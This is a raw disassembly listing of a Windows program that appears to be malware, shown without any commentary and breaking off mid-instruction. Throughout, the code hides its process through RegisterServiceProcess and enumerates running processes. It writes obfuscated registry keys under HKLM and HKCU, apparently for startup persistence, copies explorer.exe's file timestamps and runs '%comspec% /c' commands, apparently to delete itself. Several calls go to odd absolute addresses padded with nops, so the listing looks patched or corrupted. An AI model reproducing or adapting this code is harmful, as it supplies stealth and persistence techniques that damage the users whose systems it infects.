sub_401E24 add esp, 4 push ebx call near ptr 2850431h nop pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 28A0000h nop mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx call near ptr 2890000h nop test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx call near ptr 2880273h nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 28A0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx call near ptr 2880273h nop pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 28A1C3Ah push eax call near ptr 28A1050h nop mov eax, dword_4470B0 test eax, eax jz loc_40D403 mov ecx, dword_4470AC test ecx, ecx jz loc_40D403 mov ecx, dword_446F78 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_4470A8, eax jz loc_40D403 push ebp push offset dword_446F80 push eax xor ebp, ebp mov dword_446F80, 128h call dword_4470AC ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446FA4 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446FA4 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446FA4 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_4470A8 push offset dword_446F80 push eax call dword_446F78 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_4470A8 push ecx nop call near ptr 2860000h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 28B0CF3h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 28B0734h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 28B0000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 27F0A13h lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 call near ptr 28A1C3Ah nop push eax nop call near ptr 28A1050h push offset aKernel32_dll_0 ; "kernel32.dll" call near ptr 27E0865h nop mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470B4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470B0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_4470AC, eax call edi mov dword_446F78, eax mov eax, dword_4470B4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44719F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 1E0934E8h dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h dd 2442A0Fh, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23F266Ch, 874C085h, 0E890006Ah dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_4471A1 test al, al jz short loc_40DB24 push offset word_4471A2 call near ptr 27F0883h nop loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call near ptr 28A1C3Ah nop push eax nop call near ptr 28A1050h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27D0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call sub_5EE1E5 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2880000h mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi nop call near ptr 27E0000h push esi call near ptr 2860000h nop mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 28A1C3Ah push eax nop call near ptr 28A1050h lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5EE1E5 add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2810000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 nop call near ptr 2800000h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2920000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2920000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2920000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2970000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 